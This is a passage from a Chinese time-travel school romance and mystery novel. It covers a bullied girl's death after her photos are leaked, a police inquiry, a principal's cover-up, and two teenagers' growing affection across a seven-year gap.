她不断扇打自己,“我怎么生了你这么一个狗东西啊,不要脸,我们全家人的脸面都被你丢尽了!”
就在吴父还要踢自己女儿时,苏芸不知道哪里来的勇气,忽然冲上去,紧紧搂住吴婷儿的脖子,“叔叔,这又不是婷儿的错!”
“那是谁的错?是我的错,我应该早早把她打死。你给我让开。”他恶狠狠指着苏芸,“你又是谁?你跟她一样,也是个骚货?”
骚货。
苏芸被这个词语吓坏了,浑身一震,吴婷儿把她一把推开。
周湜与上前按住吴父的手。
他年轻,与旁人不同,带着少年独有的凌厉和无畏,硬生生握着男人的手叫对方根本无法挣脱,那人面目狰狞地瞪着他,却见这人虽然面有青涩,但藏在校服下的锐气像是尚未开刃的刀,泠泠然地抬眼,锐气破壳而出,决然直顶人心。
吴父松了手。
“不关她的事。”吴婷儿晃晃悠悠站起身,“她只是我的同学……警察阿姨,能不能给我一杯糖水,我一天没有吃饭了,好饿。”
“面包来了。”
教导主任的声音从身后出现,周湜与回头,看到了他爸。
周因昌一愣,随即蹙起眉头,“你怎么在这里。”
“碰巧。”
他走过来,路过儿子时冷哼一声,才转头对吴家父母道:“你们不要激动,帖子已经都被删除了,只是误会而已,学校下午开过会了,所有班主任明天会勒令每个学生不准再讨论此事。请家长放心。”
最后一句话说完,他的掌心缓缓落在吴婷儿的肩头,很快放开。
吴婷儿低着头,纹丝不动。
“删除就完了吗?”吴母哭道:“她这一辈子都会被人议论,不干净的破烂货,以后还怎么嫁人?我们该怎么活?”
说到这里,吴父的怒火又起,趁着警察没注意,啪啪给了女儿三个巴掌,吴婷儿的双颊立刻高高肿起来,可她只是顿了顿,仿若被打的根本不是自己,继续往嘴里塞没吃完的面包。
她吃完面包,捧起桌上的矿泉水仰头全部喝完,随后用袖子蹭了蹭脸,说:“照片是我自己拍的,也是我发到网上的,跟别人没有关系。”
她环视屋子里的每一张面孔,最后道——
“我要回家。”
*
周湜与回到宿舍,看到了黎遇的留言。
「郑俊文死了。」
据警察说,郑俊文在四月十六日凌晨六点左右跳楼身亡,初步排除他杀可能。但是他家中凌乱,有明显翻动痕迹,可能有陌生人在其死前进入室内。除此之外,郑俊文在身亡前烧掉了家中的所有照片。
他这晚彻夜未眠,告诉了她二零一零发生的所有事情。黎遇愤愤不平,但与此同时她对苏芸的话表示理解。
「但郑俊文在七年后跳楼自杀了,也算对凶手的惩罚吧。」
「对了,我查到七年前吴婷儿是在四月十六日晚上跳湖死亡的,但今天已经马上要过去了,是不是证明我们改变了过去呢?」
周湜与看着宿舍墙上的时钟。
十一点四十五分,秒针还在啪嗒啪嗒地转动。
这一天很快就要结束了。
次日下午放学,校门口围着一辆警车,红光在车顶转了一圈又一圈,围观的学生越来越多,周湜与和黎彦尧往门口走,看到吵嚷的人群,他的心忽然往下一沉,拦住一个学生,问道:“前面怎么了?”
“那个女生……”那男同学挤眉弄眼,“听说失踪了。”
23. 出手
第二十三章出手
南桥公园内,中心湖。
天尚未大亮,湖上飘着一层薄雾。
半小时前,市公安局派来三辆警车。公园内保安协助警察拉起黄色警戒区域,他们打着强光手电筒,向湖中心照去,光柱划破雾气,围在湖边的众人下意识眯起眼睛,可除了波光粼粼的平静湖面,他们没看到什么不同寻常的。
两名水警套上橡胶服,腰上系着长绳,一步步走进水里。湖水刚没过腰,人便开始走得不稳,淤泥吸着鞋底,持续往下沉。另一边,另两位民警蹲在湖边,指尖蘸取湖水感受水温,用测深仪测量水深。
周湜与他们拿着记录册,“水深大约在三到五米,湖底多淤泥与水生植物,水下能见度极低。”
与此同时,沿着湖边巡查的那队警察小跑回来,对距离他三米外的一中年男人道:“聂警官,草丛附近目前没有发现拖拽痕迹,也暂未找到可以足迹,没有女学生的鞋子,外套,书包……”
聂警官觑了他们一眼,“吴婷儿的书包留在学校了。”
他继续道:“石板路看了吗?”
“看过了,也没有发现。”
“电话继续打了吗?”
“打了,依旧是关机。”
聂警官眉头更深,“已经离家超过二十四小时了。”
他们转头,望向已经逐渐到达湖中心的几位水上警。
一时间,没人说话。
忽然——“老张来了,老张来了!”
一位年纪七十上下的老头赶来。聂警官上前询问:“你就是公园打捞水草的负责人?”
“对,是我。”老张穿得单薄,外头那件旧杉里是睡衣,显然是被人临时拽起来的。他面对警察,略微警察,搓了搓手心,探身忙问:“领导,出啥事了?”
聂警官看了身旁挺拔英俊的少年一眼,才道:“有个女孩儿失踪了,可能来过南桥公园附近——小王,给他看看照片。”
年轻警员把吴婷儿的照片递给老张。
那老头看了许久,又是叹气,又是摇头。
“怎么样,见过她吗?”
“这……我年纪大了。”不出几分钟,老张额头已是汗水,“老眼昏花看不清人,这我也不能确定啊。”
“你别紧张。”聂警官收起严肃表情,“我们只是理性询问,把你想起来的跟我说说。”
“我早上——”老张咂咂嘴,“我今天早上好像在水边看见一个年轻的小丫头。”
“穿校服吗?”小王眼睛亮起来。
“忘了,应该没穿,因为今天早上二十度出头,那丫头穿得很少,好像就是件短袖T恤……因为今天是周五,学生还有年轻人上学的上学,上班的上班,南桥公园这个时间基本没人,我就问上去跟她打招呼——”
“她怎么说?”小王又打断他。
老张摆手,“她没理我,我嘛,一个快七十的老头子,人家小丫头不爱搭理也正常,我就又说了一句天凉别在湖边坐着感冒就走了。”
“然后你又见过她了吗?”
“没有。”老张这次回答的很坚定,“我去湖上绕了一圈回来,那座位上就没人了。”
“哪个座位?”
“喏——”他往身后一指,“就那个。”
聂警官敲了一眼,转头看向吴婷儿父母,“孩子出门穿的是什么你们知道吗?”
“不知道。”吴母哭道:“衣柜里少了哪件衣服我也不知道,不过她总穿着那几个颜色,大概不是白的就是灰的吧。”
这边正说着,湖中心传来动静,聂警官往湖边跑了两步,高声喊道:“什么情况了?”
“摸到东西了!”
周湜与见他们顺着绳子往下摸。
一秒,两秒……
“是个人!好像是头发!”
周湜与的心脏沉了沉,余光中,聂警官审视的冰冷目光向他刺来。
湖中警察稳住身体,用打捞带轻轻从腋下穿过扣紧。岸上的人同时发力,绳子一点点绷紧,被慢慢拖向岸边。那人脸朝下,头发散在水里,随着波浪一点点铺开,像一团黑色的水草。越近,越看得清——校服领口、袖口、裤脚,全是湖底的泥和青苔。
到浅水区时,聂警官和小王冲上去帮忙,几个人同时弯腰,小心翼翼地托住肩,背和腿,平抬起来。
没有剧烈动作,没有喧哗,只有哗啦啦的水声和急促的呼吸。
周湜与看见她的头发是散的,一缕划过小王的小臂上。
他们把她放在铺好白布的担架上,轻轻翻正。
灰白的脸,不显眼的鼻和唇,眼睛半闭,右边眉梢有一颗小痣。水珠顺着发梢一滴一滴落在草地上。
不是吴婷儿是谁。
法医走来蹲下,摸了摸四肢,又看指甲和脖颈,没说话,但抬头冲聂警官摇了摇头。
吴母见此,瞬间昏死过去。
聂警官名人将其抬去车上,然后回头再一次面向身边的少年,见他面目紧绷,眸如寒夜冷星,沉声,“周湜与,对吧,请跟我们一同回局里。”
*
聂警官单名一个海字。
他坐在周湜与对面。手腕下压着对方的资料。
这个少年很年轻,但神色看着比同龄人成熟。
“你跟吴婷儿是同学?”
“同校。”
“你认识她?”
“怎么算认识?”周湜与压抑着内心的震动,一边盘算待会儿该怎么把这件事情告诉黎遇,一边面上露出一个淡淡的笑容,“最近全校都在讨论她,算认识吗?”
“据昨天的记录员说,昨天吴婷儿看见你出现并不觉得惊讶。”
周湜与揉了揉鼻尖,低声乐道:“聂警官,二中不认识我的人其实不算多。”
聂海蹙眉看着眼前英挺的男孩儿。他在插科打诨,也始终没有正面回答自己的问题。
“那么你为什么会出现在警局?”
“我跟她的朋友一起来的。”
“苏芸。”他补充道。
“你是怎么认识苏芸的?”
“我经常光顾她家的超市。”
“据我所知,苏芸家的超市位于郊区。”
“我喜欢在她家超市旁边的一家书店自习。很安静,我在那里才能看的进去书。”
“书店叫什么名字?”
“吴越国的书。”
“写下来。”
周湜与落笔,把纸推回去。
聂海叫来小王,“去查查这家店的地址。”
五六分钟后,小王重新进来,靠近聂海身边说了什么他点点头,望着问出最后一个问题,“从今天早上吴婷儿父母发现她不见了到报案,到我们立刻成立专组排除附近重点街道的摄像头,都没有能够迅速定位吴婷儿最
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后出现的地点在南桥公园,这你又是怎么知道的?”
这个问题还是来了。
周湜与抬起头。
在桌子下面,他的手紧紧握住。
关于答案,他已经思索一天,但无论是哪一个回答,他都不够满意。
“是我告诉他的。”
聂海抬眼。
他回头。
这是他连续两天看到自己的父亲。
周因昌冲聂海颔首,“聂警官,又见面了。”
后者微微拧起眉毛,向后靠,打量对方一番,才道:“你好,周校长。”
“犬子给你添麻烦了。”
周因昌的右手放在周湜与的肩膀上,用力压了压。
“恰恰相反。您儿子帮了我们大忙。如果没有他,我们很难这么快找到吴婷儿。”聂海微笑,“我现在正在问他他是怎么知道吴婷儿去哪里的。”
“是我告诉他的。”
周因昌回答。
说完这句话,周湜与感觉他的手离开了自己的肩膀。
聂海俯身,“你告诉他的?”
“对。”周因昌点头,“吴婷儿课后在我那里补习数学,小女孩儿嘛,总是多多愁善感一些,之前跟我提起过如果跟父母吵架,她每次都会去南桥公园。所以她失踪后,我猜想她可能这次也会去那里,立刻让湜与去南桥公园找她。”
“猜想?”聂海并不相信,“可是您儿子当时表现得非常确信,并非猜想,而是确定吴婷儿一定在南桥公园。”
“因为只有这么说,才会增加你们相信我的几率。”
周湜与抢先开口,直视聂海的目光,镇定自若,“而且,我就算表现得这么肯定,你们一开始不也没有相信我吗?”
聂海沉着脸,半晌不语。
小王出现在门口,“领导,吴婷儿确认死亡了。”
*
周湜与跟在周因昌的身后走出玻璃大门。
父子俩一前一后,十分沉默,忽然,周因昌停下脚步,目光深深,就在周湜与以为他会问自己如何知道吴婷儿回去南桥公园的时候,他却叹口气,“别坐公车了,打车吧,今天晚了,你回家住。”
“你怎么不问……”
“我最近慢慢发现——”周因昌打断他,“作为教师,也要理解年轻人。如果你不想说,我就不问。”
异样的感觉在周湜与心里翻腾,他见父亲往路边走去拦车,忽然道:“是郑俊文做的。”
“什么?”
“那些照片,是郑俊文拍的。”借着路灯,周湜与细细打量对方的神色,很快一片清明,顿时怒从中来,神色冷峻如刃,“你已经知道了?”
周因昌顿了顿,“没错,我知道。”
周湜与大步向前,低吼道:“你他妈不是校长吗,不是自诩一辈子公正清白,为学生付出一生吗?”
“你想过别的女学生吗?我把他的照相机交出去,那么她们的照片如果也被曝光了呢?难道还要有更多的人被指指点点吗?”周因昌脸色涨红,“你自己一腔热血,只会害了更多的人!无脑,无知!”
风贯穿周湜与的身体。与得知自己死亡的那一天一样,他觉得现在的自己再被打碎,然后重塑。
“难道就这样放过郑俊文吗?一个人死了,他竟然什么都不用遭报应?”
“他的事情,学校会处理,你不用管。”
24. 表白
第二十四章表白
第二次模拟考成绩出来。黎遇发挥很好,进了年级前五十,自习课下时,班长走到她座位边,递来一张报名表。
“黎遇,前五十可以参加周天上午的课外补习,如果你有兴趣,可以把报名表交给我。”
她没有思考太久,就填好了表。黎遇这几日学习越发刻苦,以此逃避血淋淋的事实。她本来以为他们成功阻止了吴婷儿的死亡,没想到就算是那些更裸露的照片没有被曝光,吴婷儿依旧被唾沫淹死,甚至大部分唾沫来自于她的亲生父母。
得知她死亡的那个晚上,恐惧和自责席卷了黎遇。
她辗转难眠,一闭眼睛,就是吴婷儿一张泪花的脸。
手机在枕边嗡嗡响起,屏幕亮起来,是一个陌生来电,黎遇坐起来,心脏砰砰跳的更厉害,好像她已经知道电话那头是谁。
她急切接起来,那边确实响起了周湜与的声音。
心脏一点点归位。
“还没睡?”
“嗯。”
黎遇用被子裹紧了自己,“你哪来的手机?”
“租的。”
“租的?”黎遇吸了吸鼻子,“你在哪里?”
“二手手机店门口。”
“很远吗?”
“嗯,一分钟前刚学会用手机上的地图,打车需要半小时。”他笑了笑,“老板好像觉得我是神经病院跑出来的。”
黎遇:“你怎么去了那么远的地方。”
“警局出来,跟我爸吵架了,在街上晃悠。”
他咳嗽了一声,黎遇正想说什么,他便先低声道:“你睡觉吧。别挂电话,我陪你,你睡着我再挂电话。”
她“哦”了一声,又躺回去。
把手机搁在脑袋旁边,周湜与的呼吸声近在耳边。
还有春天的晚风声。
她渐渐不再感到害怕,但伤心与自责难以消散。
“我们是不是做错了?”
黎遇问。
周湜与踢开脚下的小石子。这个问题他今晚已经问过自己无数回了。他没有答案,只能对黎遇说:“这不是你的错。”
“……睡吧。”
“别害怕。”
他清冽滚烫的声音渐渐低下去,最后彻底被风裹走。
黎遇的心跳声慢慢平静,直到陷入了浅浅的梦境。
周湜与坐在门口又等了很久,通话时间超过三十分钟,他才挂掉。
把手机还回去,老板象征性检查了一下手机,抬起头,“小伙子,你付的是日租费。”
他摇头,“不用,我要走了。”
*
课外补习分别为理综三门和数学,每节课各一小时,从上午七点开始,占满整个上午。数学课老师恰巧是周因昌。他站在讲台上,拿着一根木尺子,清瘦,但还算挺拔。
当年周湜与死后,他便主动向学校辞去了校长职位。但他数学老师的身份,其实在整个锦城的教育界都颇有名气,所以学校依旧把重要的高三班交给他带。
但自此之后,周因昌只授课,除此之外,很少在学校里出现。黎遇一直以为他这些年少言少语是因为认为儿子做出为人不齿的事情,但想起那日在“好运”咖啡厅的见闻,或许他真的也是十分思念儿子的。
周湜与的脸出现在黎遇的脑海中。
即使尽量在宽慰自己,但他最近几日同样消沉,两人对话不可避免地少了许多,直到昨日,他说他们下午有篮球比赛,他们队进入了决赛,邀请自己去观赛。
「你哥哥不在」
还没等她回复,他又补了一句。
「我去。」
黎遇答应,还在这两个字后面加了一个笑脸。
「明天见」
末了他又轻飘飘地加一句「上次的奶茶不错」
「那我明天给你带一杯。」
“你最近不上晚自习了?”
有人在她头顶说话,黎遇抬起头,朱锐站在她面前。
这是她第二次参加课外自习,每一次朱锐都会主动向她打招呼。黎遇摇摇头,朱锐指着她旁边空着的座位,又问:“我可以坐这里吗?”
黎遇点头,“坐吧。”
朱锐放下书包,拿出上一次布置下来的试卷,转头笑道:“你最近化学成绩提高得很快嘛?”
黎遇大方回答:“快要高考了,总要尽力冲刺一下。”
朱锐看着黑板上的倒计时。
轻轻叹口气,“今天是四月的最后一天了。还有六十六天就高考了。”
“想好去哪座城市了吗?”
这是他第二次问这个问题了。
黎遇也还是回答,“没有。”
但这次两人似乎离得更近了些,朱锐盯着黎遇的笑眼,看了许久,直到物理老师踏上讲台,他方才慢慢把头转回去。
十二点整。数学课下,班里骚动,椅子划过地板,很快有很多学生冲上讲台围住了周因昌。
黎遇坐在底下慢吞吞地收拾书本,一边瞟着讲台上面。
朱锐却是一副不急着走的模样,翻阅着自己的课堂笔记,忽然道:“你可以给我讲一下这道题吗?”
黎遇看了一眼时间,“好吧。”
朱锐一次性问了不少题,有几道恰好周湜与在前几天讲过。朱锐看着她的解题思路,“这种思考方式好像很少见,你在上化学课外补习班吗?”
黎遇笑着摇头,“没有……是我哥哥偶尔给我辅导。”她合上本子,“好啦,我要回家吃饭了。”
朱锐忙和她一起背上书包往外走,往前门走时,他忽然喃喃了一句,“哦,对,听别的同学说,你有个大七岁的哥哥。”
他们有一搭没一搭的闲聊。因为周日没几个学生在学校,所以他们在电梯间口按下下行键,等待电梯从一层上到六层来。
他们看着电梯的数学一个一个地往上跳,朱锐扭头,“你待会儿怎么回家?还是你哥哥来接你吗?”
黎遇奇怪反问,“你怎么知道我哥来接我?”
朱锐沉默片刻,低声道:“前段时间我们二中的一个学长不是自杀了吗,有人议论。”
“议论什么?”
电梯上来了,朱锐按着电梯门,让黎遇先进去,他跟在身后,“就是说那个叫郑俊文的在死前跟踪过你……”
黎遇冷下脸。
“不过大家也都是猜测,毕竟他以前和你哥哥是同班同学?”
黎遇不愿回答,低着头,电梯门本要缓缓合上,一只手突然伸进来拦了一边,朱锐眼疾手快,连忙按下开门键,冲着门外露出笑脸,“周老师好。”
周因昌颔首说了声“谢谢”,瞥眼望向黎遇,又道:“你们好。”
朱锐和周因昌站在前面,黎遇在两人身侧的靠后方。
电梯下行,周因昌忽然问:“上课讲的题的你们来说应该不难吧?”
“有些题目见过几次,但总是在同样的点上出错,上次模考就做错了,但是今天听周老师讲一遍,加深理解,牢牢记住了。”
朱锐回答。
“如果见过好几次还是做错,那其实就是没有理解到位,不懂的就要多问,巩固加强。”
“明白了周老师。”
“你呢?”周因昌又回头问黎遇。
“哦……我最近也在查漏补缺。”
“嗯。”周因昌点点头,“以你们现在的成绩来说,查漏补缺一方面,稳定心态更重要。”
说罢,电梯停在了一楼,门一开,他留下一句“早点回家”后便大踏步离开了。
黎遇盯着他离开的方向,有些奇怪,“周老师这是去哪儿?”
“回宿舍啊。”
“宿舍?”
“没错,周老师住宿舍,就是为了可以随时来学校,上课也方便。”朱锐呢喃道:“周老师真的很好,虽然有距离感,但我从没见过比他讲题更耐心的老师了,真可惜,出了那样的事情……”
黎遇不愿再聊,便往校门口走去。
朱锐和她并肩,两人一路沉默,直到在校门口分别时,他突然喊了一声她的名字。
“怎么了?”
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朱锐捏捏拳头,又放开,叹了口气,挠挠头。
黎遇莫名其妙,正巧他们站立的位置让朱锐的眼镜片反光,她忍不住眯起眼睛,但依旧看不透对方的神色。
“你觉得我怎么样?”
“啊?”
朱锐急促地笑了一下,白净的面庞忽然浮上红晕,“其实我不太知道怎么跟女生相处,总为你以后上大学的事情是因为我高中毕业后还想在跟你同一个城市,最好是同一个学校。黎遇,我很喜欢你……”
*
午睡后醒来,已经下午两点半。黎遇打了个哈欠,去浴室洗了个头,把头发吹干,坐在沙发上抹精油。
章锦给她端来一杯苹果汁,见她正对着客厅玻璃投下的倒映臭美,不由笑道:“我们曈曈从小就招人喜欢,现在长大了越来越漂亮。”
黎遇抱着妈妈的腰撒娇,过了一会儿又问:“妈妈,你觉得我是扎马尾好看,还是披下来好看?”
章锦低下头,怜惜地刮刮小女儿的鼻子,“哎呦,怎么这么爱美,来,妈妈看看。马尾显得更有精神气,散下来倒是看上去我们女儿果然快要变成个大姑娘了。”她揉揉女儿的脸蛋,“最近学习辛苦,要不下午妈妈带你去商场买点儿新衣服吧?”
黎遇摇摇头,“妈妈,我的新衣服够多了,还有些一次都没穿过呢。”她看了一眼时间,连忙道:“妈,我想起来上午落了古诗书在学校,我回去拿一趟。”
*
黎遇出现在七年前的球场边上时,比赛已经进入了白热化。
因为她穿越的时间有限,所以只能来看下半场比赛。周湜与穿着红色秋衣,身后的数字标着7,黎遇几乎第一眼就捕捉到了他。
只要球出现在他手里,全场就会尖叫起来,旁边那几个女孩儿尤为激烈。他将球传给队友拿下两分后,一边小跑着一边往看台上瞧。
他看见了黎遇,立马扬起了嘴角。
见全场最瞩目的球员忽然冲着看台某一处笑,底下的人纷纷抬头向这边扭头,黎遇本想招手,却忽然有些害羞,只好也向他眨了眨眼睛。
“他看谁呢?”
“是不是我?”
“别犯傻了,人家都不认识你呢。”
“哼,有什么了不起,待会儿就让他认识我。”
马上迈进五月份,阳光正好,尤其是午后浓烈又温暖,金色地光辉洒在球场上的少年们身上,连汗水都变成了亮晶晶的勋章。周湜与弯腰左手拦住对手,右手抬手接球,就在对手以为他还会再次传球给球框边缘的队友时,他忽然转身,抬手,跳跃。
三分!
二中与一中的分数拉开至两位数。
黎遇身旁的那几个女孩儿应该是一中的,一边惋惜校队无力,一边感慨周湜与怎么能这么帅。
一中教练暂停比赛。
周湜与走下场地,特意挑了一个正对黎遇的位置坐下。
旁边那三个女孩儿红着脸互相推搡,“去呀去呀。”
短发女孩儿蹭地站起来,几步跳下看台,直冲冲地往周湜与的方向跑去,把手里的矿泉水递给他。起哄声一波接一波地向浪潮翻滚在球场。
黎遇忍不住目不错地盯着周湜与的反应。
跟着雷鸣般的喊叫,自己的心里竟然也开始打鼓一般震动起来。
只见他抬眼看了一眼矿泉水,摆了摆手。
观众安静下来,等着女孩儿的反应。
短发女孩儿被拒绝,没觉得有什么不好意思,反而质问道:“为什么,你自己又没带水,难道你不渴?”
女孩儿站的位置正好挡住了他的视线,他依旧坐着,却忽然歪了歪脑袋,又一次大剌剌地看向黎遇。
只看向她一个人。
这下黎遇躲不掉了。
“哦!”
全场惊叹。
而周湜与这个始作俑者露出四颗白牙,冲她摊了摊手。
他身后的夕阳渐渐变成了粘稠的橘红,他慢悠悠地转着篮球,眼睛却只看着黎遇。
“哎,那位小姐,别装傻,我的奶茶呢?”
25. 喜欢
第二十五章喜欢
最后1/4比赛,旁边几个女孩儿干脆连球赛也不看了,不论是二中还是一中进球,她们谁都不再欢呼,而是只顾着打量黎遇。
最后还是黎遇先扭头冲她们笑了笑,“你们好。”
短发女孩儿率先开口,“你是周湜与的女朋友?”
“不是不是。”黎遇连连摆手。
“那他为什么只喝你给的东西?”她又问,说完又拧起眉头,露出一个不赞同的眼神,“更何况,你竟然还什么都不带!你这人真坏。”
“我是他姐姐。”
“姐姐?”她们上下打量她。
“怎么可能?他是独生子。”短发女生有些骄傲,“我可是周湜与百事通。”
“表姐。”黎遇笑眯眯地解释,“我比他大几个月呢。”
“真的?”
“这能有假!”黎遇往球场瞟了一眼,见刚刚空投完的周湜与跟队友击掌后抬头往自己这边看,见这几个女孩儿竟然热络地聊起来,他似乎微微困惑。
“他爸是我们学校的校长你们知道吧?”
“知道知道!”
“一般老师对自己的孩子对管得严,所以啊,他今天特意安排我来监视周湜与。”
“这样啊……”
年纪相仿的女孩儿很快叽叽喳喳起来,直到篮球比赛结束,她们还在看台上聊天。周湜与拿起自己刚得那个【锦城市级高中篮球比赛冠军】塑料金牌拿起来看了看,有些泄气地塞进包里,然后顺着台阶走上看台,倒着坐在黎遇座位的下一级,有些无奈地盯着她,“刚才我们得冠军,大家都来拍照,你怎么不来?”
黎遇“哦”了一声,忙冲三个女生摆手,“我弟来了,我要走了哦。”
短发女生直起腰杆,眼睛又从周湜与身上挪不开了。黎遇看了他几眼,他终于还是对她们也干巴巴道:“拜拜。”
然后站起身,把手里的外套抛进黎遇的怀中,“姐,傍晚天气冷,你来看望我是不是穿得太少了。”
黎遇从善如流地接过,嘴上说着“确实有些冷”,跟着一起走下看台。
他们刚穿过篮球场,周湜与回头见黎遇走得慢吞吞,忍不住往回走了两步拉起她的手腕,边小跑,边说:“带你去个好地方。”
*
他们一路来到回龙寺墓地,途中周湜与还进烟花爆竹店里买了几根仙女棒。
黎遇奇怪,抬头问他,“我们为什么来这里?”
周湜与沉默不语,也没有放开她,他们沿着墓地的小路一直向里走,终于停下来,黎遇定睛一看。
爱妻徐文嘉。
她几乎一眼认定,这是周湜与的亲生母亲。
那真是一个格外美丽的女人,尤其是双眸,周湜与的眼睛原来正是遗传自母亲。
“你害怕吗?”
他问她。
黎遇没吭声。
“我从小就常偷偷来这里,我爸,姥姥姥爷都不知道。”周湜与把落在墓碑上的几片叶子扫去,“这是我妈,虽然我对她没什么印象了,但是我不觉得害怕。”
“没错,待在妈妈身边应该觉得什么都不怕了才对呢。”
黎遇跟着他一起蹲下来。
周湜与静静看了一会儿徐文嘉,然后道:“那边有个山坡,我们上去吧?能看到星星。”
“好啊。”
黎遇被他拉上去。他们在坡顶坐下来,周湜与轻叹一声,一只手垫在脑后,干脆直接躺了下来。见她有些犹疑,他把自己的书包拿过来。
黎遇的脑袋垫在他的书包上,躺在另一侧。
天色已暗,可今夜无星。
她并感到失望,反而心跳声跟刚才在球场一样,愈发强烈。
“你说……”黎遇把一直困扰在心头的问题说出来,“为什么我们每次停留在对方时空的时间长度不一样呢?”
“原因只有一个啊……”
周湜与抬起手,他还没有放开她的手腕。
黎遇看着自己被他握着的手腕,轻轻蹙起了眉头。
“为什么?”
“第一次时间超过四十分钟是我们去看电影那天,你拉着我跑,第二次是去郊区找苏芸,公交车上,你一直抓着我……”他偏了偏头,眉毛扬起来,像平时讲题一样,只提示,从不直接指出答案,“明白了么?”
“要……有肢体接触?”
“嗯。”
周湜与头垫在自己的另一只胳膊上,看着天空,“我觉得是这样。”
黎遇转了转眼珠,把之前几次的所有穿越全部在脑中快速过了一遍。
“怪不得呢。”她蹭地坐起来。
“怎么?”
“上次……我被郑俊文跟踪,我们俩见面的那个晚上是我在二零一零年待的时间最长的一次,因为那天你抱我了来着。”
黎遇一口气说完,说完信誓旦旦地转头看向周湜与,见他的目光中闪过一丝青涩的笑意和不知所措,这才意识到有些害羞。
她又躺回去。
周湜与安静了一会儿,没有松开她,反而拉得更紧了一些。
他特意为自己的行为低声解释道:“已经到晚上了,我得把你送回合滨路你再离开。”
黎遇忙点头。
想了想,生怕自己现在就冷不丁地回到七年后,一个人面对整座墓地,于是觉得还不够,另一只手也抓住周湜与。
这样一来,他们离得更近了些。
青草地的湿香气漫过她的鼻尖,夜风柔软的像棉花糖。
心事被吹远又吹近。
虫鸣声细碎地跳跃。
黎遇突然张口,“我以后想去北京。”
周湜与睁开眼睛,想也没想,“那就去北京。”
“你呢?”
“我也去北京。”
“说定了?”
黎遇盯着他问。周湜与歪头,没说话,但拉着她的手换了个姿势,只见他的小拇指勾住她的小拇指,轻轻晃了几下,紧接着在她的大拇指盖了个章,才懒洋洋地肯定,“说定了。”
“高考真好。”
黎遇忽然冒出这样一句话。
她似乎从未恐惧过对于中国人而言最重要的这场考试,相反,此刻细细琢磨自己的心情,她竟然是迫不及待,迫不及待地迎接自己未来的人生,和那些未知的挑战。
她用指尖点了点他,“哎。”
“嗯?”
“仙女棒呢?我们放烟花吧。”
周湜与分给她三根,自己从兜里掏出打火机。
烟火噼里啪啦地燃起来,黎遇惊喜地哇了一声。他们微微仰起头,好像这些微弱的光亮能照亮整片天空。今夜无星,月亮却显得更加明亮,投下一片凉凉的银纱。把他们的影子拉长,拉得很长,像是能延伸到遥远的未来。
周湜与从来没有像今天这样安静过,他越不说话,黎遇听到自己的心跳声就越明显。
这
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让她晃动仙女棒都乱了节拍,她忍不住问:“你干嘛不说话?”
“我在想今天下午。”
“下午怎么了?”
“你知道那个短发女孩儿想做什么吗?”
周湜与看着她的眼睛问。
黎遇眨巴了下眼睛,不答却问:“干嘛问这个?”
他胳膊肘撑地,稍微往她这边凑了凑,“我今天不是第一次见到她。”
黎遇不看他,盯着月亮,远处的虫鸣叽叽喳喳。
她静静等着,听到他继续道:“她已经跟我说过很多次喜欢了……”
“今天也有人向我表白。”
她立刻道,像争辩什么,又像证明什么。
“谁?”
周湜与的双眼在夜里闪烁。
又亮,又凌厉。
“你又不认识……”
“有照片么?”
黎遇飞速瞧了他一眼,然后掏出手机,在QQ聊天框中点开朱锐的名字,前几天他给自己发来他打羽毛球的照片,她把手机递过去。
周湜与将照片点开。
食指和中指在屏幕上推开,再推开。
“……也不怎么样嘛。”
“他学习很不错。”
周湜与轻笑。
照片中的男孩左手执拍,盯着球网后的对手,从他的角度来看,这男生长得他看完就忘。
他又躺回去。
“刺啦——”
黎遇又点燃一只新的仙女棒。
她歪着脑袋,在空中执笔,写写画画,火星跟着跳跃,像是握住了一截流星。黎遇忽然小声问:“那天说好做真题试卷,你干嘛反悔……”
周湜与半晌没吭声,稍后转头笑着看她,“黎遇,你别以为我不知道那是哪年的卷子。”
黎遇脸红了,但是天黑着,她觉得周湜与应该没有看到。
周湜与用手背轻轻碰了碰他,还是看着天空,淡淡开口,“我不想花掉太多运气。”
她把下巴搁在膝盖上,拿着仙女棒在空中画圈。
他认真地看。
她写下了两个字,而他很快认出来了——
北京。
“我们会一起去北京的,真的。”
黎遇回头看他。
周湜与坐起身,又重复了一遍,“我发誓。”
她怔怔地。
仙女棒快燃尽,火星就要往她的手上溅去,周湜与抬手拿过来,看着最后一点火花消逝,低声道:“我现在拥有的够多了。”
黎遇忽然转过身,闭上眼睛抱住他。
她感觉到了周湜与僵硬的肌肉在仿若被冰冻了几秒后放松下来,双臂环紧。他的心跳声比她的快多了。黎与觉得自己的心口堵得满满的,她好像有很多话想说,但似乎说什么都太多,又说什么都太多。
她脑子很乱,周湜与的怀抱又躁又暖。苏芸和吴婷儿的连在她的脑中不断地划过。
黎遇知道,这注定是不同寻常的一年,这将是她人生中最难忘的一个夏天。她鼻子有点儿酸,闷闷道:“我们回家吧?”
从回龙寺墓地离开,他们坐上返程的公车。
并肩坐着,手臂因为车辆的晃动而时不时触碰。到了合滨路那一站,两个人一前一后地下车。
黎遇的头发丝被风吹乱,他停下脚步。
她抬头看他。
他的眼睛里盛着月光,又听他道:“我以后会永远送你回家的。”
26. 好看的哥哥
第二十六章好看的哥哥
那条线断了。
郑俊文不再出现在学校,周湜与始终不知道学校最后是怎么处理他的。时间已经过去两个多月,周湜与拼命往前跑,却跑进了越来越浓重的迷雾中。
他把篮球往前一扔,砸在篮筐上,弹回来。
弯身捡回来,他一抬头,看见苏芸正站在球场的栅栏外。
周湜与垂眸,拍了两下球,在往那里看去的时候,她已经慢吞吞往远走去。这是这个周的第三次了,一开始他还主动问她是不是找自己有事,可苏芸只是摇头,然后跑开。
以前他觉得自己在拽着一根线,线的另一头也有人同样用着力,即使看不清前方的路,但顺着那根线至少能够找到真相,但现在握着线的只剩下他一个人。郑俊文显而易见不会再回到学校,他们预知结果却没能挽回吴婷儿的命。
距离六月九日越来越近,他却觉得自己距离真相越来越远。
周湜与将球扔进球筐,抓起书包向苏芸小跑。
“哎。”
苏芸回头。
眼睛红红的。
“你要对我说什么吗?”
周湜与问。
“没有。”
她的声音细如蚊子,摇摇头,眼眶先红了。
“我最近经常能看到你。”他语气没那么柔和,显得又冷又躁,“我以为你想告诉我什么。”
她还是摇头。
周湜与见她开始落泪,忍不住退后一步。他不知道为什么苏芸总有那么多眼泪要流。黎遇就不爱哭,是要惹了她,她只会先想办法让对方哭。而苏芸,除了那个阻止他把郑俊文的相机交给警察的晚上,他从未见过她有攻击性的一面。
他想到黎遇的那个猜测,那个关于苏芸高考第二天去男生宿舍并非为了他的猜测。
“你认识廖康吗?”
她抬起头,眼神中有些困惑。
“徐嘉德呢?”
她抿嘴。
“董粤呢?”
